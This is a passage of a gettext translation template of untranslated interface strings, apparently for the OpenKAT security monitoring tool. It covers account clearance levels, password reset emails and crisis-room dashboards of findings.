account/templates/account_detail.html\nmsgid \"You don't have any clearance to scan objects.\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"\"\n\"Get in contact with the admin to give you the necessary clearance level.\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"You have currently accepted clearance up to level\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"Explanation OOI Clearance\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"\"\n\"You can withdraw this at anytime you like, but know that you won't be able \"\n\"to change clearance levels anymore when you do.\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\n#, python-format\nmsgid \"Withdraw L%(acl)s clearance and responsibility\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"Explanation OOI clearance\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\n#, python-format\nmsgid \"\"\n\"You are granted clearance for level L%(tcl)s by your admin. Before you can \"\n\"change OOI clearance levels up to this level, you need to accept this \"\n\"permission. Remember: <strong>with great power comes great responsibility.</\"\n\"strong>\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"Accept level L%(tcl)s clearance and responsibility\"\nmsgstr \"\"\n\n#: account/templates/password_reset.html\nmsgid \"Use the form below to reset your password.\"\nmsgstr \"\"\n\n#: account/templates/password_reset.html\n#: account/templates/password_reset_confirm.html\nmsgid \"Send\"\nmsgstr \"\"\n\n#: account/templates/password_reset.html\n#: account/templates/password_reset_confirm.html\nmsgid \"Back\"\nmsgstr \"\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Confirm reset password\"\nmsgstr \"\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Use the form below to confirm resetting your password\"\nmsgstr \"\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Confirm password\"\nmsgstr \"\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"The link is invalid\"\nmsgstr \"\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"\"\n\"The password reset link was invalid, possibly because it has already been \"\n\"used.  Please request a new password reset.\"\nmsgstr \"\"\n\n#: account/templates/password_reset_email.html\n#, python-format\nmsgid \"\"\n\"You're receiving this email because you requested a password reset for your \"\n\"user account at %(site_name)s.\"\nmsgstr \"\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"Please go to the following page and choose a new password:\"\nmsgstr \"\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"Sincerely,\"\nmsgstr \"\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"The OpenKAT team\"\nmsgstr \"\"\n\n#: account/templates/password_reset_subject.txt\n#, python-format\nmsgid \"Password reset on %(site_name)s\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html account/views/recover_email.py\nmsgid \"Recover email address\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"Information on how to recover your connected email address\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"Forgotten email address?\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"\"\n\"If you don’t remember the email address connected to your account, contact:\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"Please contact the system administrator.\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"Back to login\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"Back to Home\"\nmsgstr \"\"\n\n#: account/templates/registration_email.html\n#, python-format\nmsgid \"\"\n\"Welcome to OpenKAT. You're receiving this email because you have been added \"\n\"to organization \\\"%(organization)s\\\" at %(site_name)s.\"\nmsgstr \"\"\n\n#: account/templates/registration_subject.txt\n#, python-format\nmsgid \"Verify OpenKAT account on %(site_name)s\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \"\"\n\"Your password must contain at least the following but longer passwords are \"\n\"recommended:\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" characters\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" digits\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" letters\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \"\"\n\" special characters such as: {str(validators.get('special_characters',''))}\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" lower case letters\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" upper case letters\"\nmsgstr \"\"\n\n#: account/views/login.py\nmsgid \"Your session has timed out. Please login again.\"\nmsgstr \"\"\n\n#: account/views/login.py rocky/templates/header.html\nmsgid \"OpenKAT\"\nmsgstr \"\"\n\n#: account/views/login.py account/views/password_reset.py\n#: account/views/recover_email.py rocky/templates/partials/secondary-menu.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Login\"\nmsgstr \"\"\n\n#: account/views/login.py\nmsgid \"Two factor authentication\"\nmsgstr \"\"\n\n#: account/views/password_reset.py\nmsgid \"We couldn't send a password reset link. Contact \"\nmsgstr \"\"\n\n#: account/views/password_reset.py\nmsgid \"\"\n\"We couldn't send a password reset link. Contact your system administrator.\"\nmsgstr \"\"\n\n#: components/modal/template.html\nmsgid \"Close modal\"\nmsgstr \"\"\n\n#: components/modal/template.html\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: crisis_room/templates/partials/new_dashboard_modal.html\n#: katalogus/templates/change_clearance_level.html\n#: katalogus/templates/confirmation_clone_settings.html\n#: katalogus/templates/plugin_settings_delete.html\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#: reports/templates/report_schedules/delete_recipe_modal.html\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/oois/ooi_mute_finding.html\n#: rocky/templates/organizations/organization_edit.html\n#: rocky/templates/organizations/organization_member_edit.html\n#: rocky/templates/partials/delete_ooi_modal.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/mute_findings_modal.html\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Cancel\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Title on dashboard\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Dashboard item size\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Full width\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Half width\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"An item with that name already exists. Try a different title.\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"An error occurred while adding dashboard item.\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Number of rows in list\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"List sorting by\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Type (A-Z)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Type (Z-A)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Clearance level (Low-High)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Clearance level (High-Low)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Show table columns\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Severity (Low-High)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Severity (High-Low)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Finding (A-Z)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Finding (Z-A)\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Findings Dashboard\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"\"\n\"Where on the dashboard do you want to show the data? Position {} is the most \"\n\"top level and the max position is {}.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Will be displayed on the general crisis room, for all organizations.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Will be displayed on a single organization dashboard\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Will be displayed on the findings dashboard for all organizations\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Can change position up or down of a dashboard item.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"You have to choose between a recipe or a query, but not both.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"You have set a query and not where it is from. Also set the source.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"\"\n\"DashboardItem must contain at least a 'recipe' or a 'source' with a 'query'.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Max dashboard items reached.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room.html\n#: crisis_room/templates/organization_crisis_room.html\n#: rocky/templates/header.html\nmsgid \"Crisis room\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room.html\nmsgid \"Crisis room overview for all organizations.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"Dashboards\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"\"\n\"On this page you can see an overview of the dashboards for all \"\n\"organizations. **More context can be written here**\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"dashboards\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"There are no dashboards to display.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Findings overview\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"\\n\"\n\"                            This overview shows the total number of findings \"\n\"per\\n\"\n\"                            severity that have been identified for all \"\n\"organizations.\\n\"\n\"                            This data is based on the latest Crisis Room \"\n\"Findings Report\\n\"\n\"                            of each organization.\\n\"\n\"                        \"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"Findings per organization\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"This table shows the findings that have been identified for each \"\n\"organization, sorted by the finding types and grouped by organizations. This \"\n\"data is based on the latest Crisis Room Findings Report of each organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"No findings have been identified yet. As soon as they have been identified, \"\n\"they will be shown on this page.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"There are no organizations yet. After creating an organization, the \"\n\"identified findings will be shown here.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_header.html\n#: crisis_room/templates/organization_crisis_room_header.html\nmsgid \"Crisis room navigation\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_header.html\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\n#: reports/report_types/aggregate_organisation_report/findings.html\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/findings_report/report.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/multi_organization_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/tls_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/report_types/web_system_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_sidemenu.html\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/ooi_report_findings_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/views/finding_list.py rocky/views/finding_type_add.py\n#: rocky/views/ooi_view.py\nmsgid \"Findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"Options for dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"Show all descriptions\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"Hide all descriptions\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\nmsgid \"Delete dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"\"\n\"There are no dashboards yet. Click on \\\"Add dashboard\\\" to create a new \"\n\"dashboard.\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\n#: katalogus/templates/partials/objects_to_scan.html\n#: rocky/templates/forms/widgets/checkbox_group_table.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Object list\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Finding list\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\nmsgid \"Report section\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"There are no dashboard items added yet.\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"\"\n\"You can add dashboard items via the filters on the objects and findings page \"\n\"or you can add a report section.\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Add objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Add findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Add report section\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_header.html\n#: crisis_room/templates/partials/new_dashboard_modal.html\nmsgid \"Add dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Findings per organization overview\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: tools/forms/finding_type.py\nmsgid \"Finding types\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Occurrences\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Highest risk level\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Critical finding types\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Details\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Close details\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Open details\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"\"\n\"This overview shows the total number of findings per severity that have been \"\n\"identified for this organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\nmsgid \"Critical and high findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"This table shows the top 25 critical and high findings that have been \"\n\"identified for this organization, grouped by finding types. A table with all \"\n\"the identified findings can be found in the Findings Report.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"No findings have been identified. Check report for more details.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"View findings report\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Edit report recipe\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list.html\n#, python-format\nmsgid \"Showing %(length)s findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list.html\nmsgid \"Go to findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Findings table \"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: crisis_room/templates/partials/dashboard_ooi_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"column headers with buttons are sortable\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show details for %(finding)s\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#: rocky/views/mixins.py\nmsgid \"Tree\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#: rocky/views/mixins.py\nmsgid \"Graph\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html rocky/views/mixins.py\nmsgid \"Severity\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#: rocky/views/mixins.py\nmsgid \"Finding\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\nmsgid \"Finding type\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show details for %(finding_type)s\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"OOI type\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show %(ooi_type)s objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/views/mixins.py\nmsgid \"Location\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#, python-format\nmsgid \"Show details for %(ooi)s\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Risk score\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/normalizer_detail.html\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/summary/report_asset_overview.html tools/forms/boefje.py\n#: tools/forms/finding_type.py rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/oois/ooi_detail_findings_list.html rocky/templates/scan.html\nmsgid \"Description\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/multi_organization_report/recommendations.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Recommendation\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/vulnerability_report/report.py\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_detail_origins_inference.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Source\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Impact\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Options for dashboard items\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Show description\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Hide description\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Position up\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Position down\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Rerun report\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\nmsgid \"Delete item\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list.html\n#, python-format\nmsgid \"Showing %(length)s objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list.html\nmsgid \"Go to objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list_table.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Objects \"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#, python-format\nmsgid \"Are you sure you want to delete '%(name)s' from this dashboard?\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#: katalogus/templates/plugin_settings_delete.html\n#: katalogus/views/plugin_settings_delete.py\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/oois/ooi_list.html\n#: rocky/templates/partials/delete_ooi_modal.html rocky/views/ooi_delete.py\nmsgid \"Delete\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete dashboard '%(dashboard)s'? All the items on \"\n\"the dashboard will be deleted as well.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\nmsgid \"Actions for adding dashboard items\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\nmsgid \"Add item\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: tools/view_helpers.py rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html rocky/views/ooi_add.py rocky/views/ooi_list.py\n#: rocky/views/ooi_view.py rocky/views/upload_csv.py rocky/views/upload_raw.py\nmsgid \"Objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\nmsgid \"Add dashboard item\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\nmsgid \"\"\n\"To  add a <strong>report section</strong>, go to the history page and open a \"\n\"report. Then go to the section that you want to add to your dashboard and \"\n\"press the options button next to the section name to create a dashboard item.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\nmsgid \"Go to report history\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, python-format\nmsgid \"\"\n\"\\n\"\n\"    Add %(item_type)s to dashboard\\n\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, python-format\nmsgid \"\"\n\"Add these %(item_type)s with the selected filters to the dashboard of your \"\n\"choice.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: katalogus/templates/partials/no_enabling_permission_message.html\n#: katalogus/templates/plugin_container_image.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/form/field_input_help_text.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"explanation\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"You do not have a custom dashboard yet\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, python-format\nmsgid \"\"\n\"In order to add these %(item_type)s to a dashboard, you first need to create \"\n\"a dashboard. Please add a dashboard in the crisis room of your organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Add to dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"Go to crisis room\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"Add report section to dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"\"\n\"In order to add this report section to a dashboard, you first need to create \"\n\"a dashboard. Please create a dashboard in the crisis room of your \"\n\"organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"Report must be scheduled for dashboard items\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"\"\n\"In order for dashboard information to be updated on a regular basis instead \"\n\"of showing static data, the report should be scheduled. The frequency of the \"\n\"schedules recurrence determines how fresh the data on the dashboard will be.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\nmsgid \"Applied filters\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\nmsgid \"Object types\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: katalogus/templates/change_clearance_level.html onboarding/forms.py\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/summary/ooi_selection.html tools/forms/boefje.py\n#: tools/forms/ooi.py 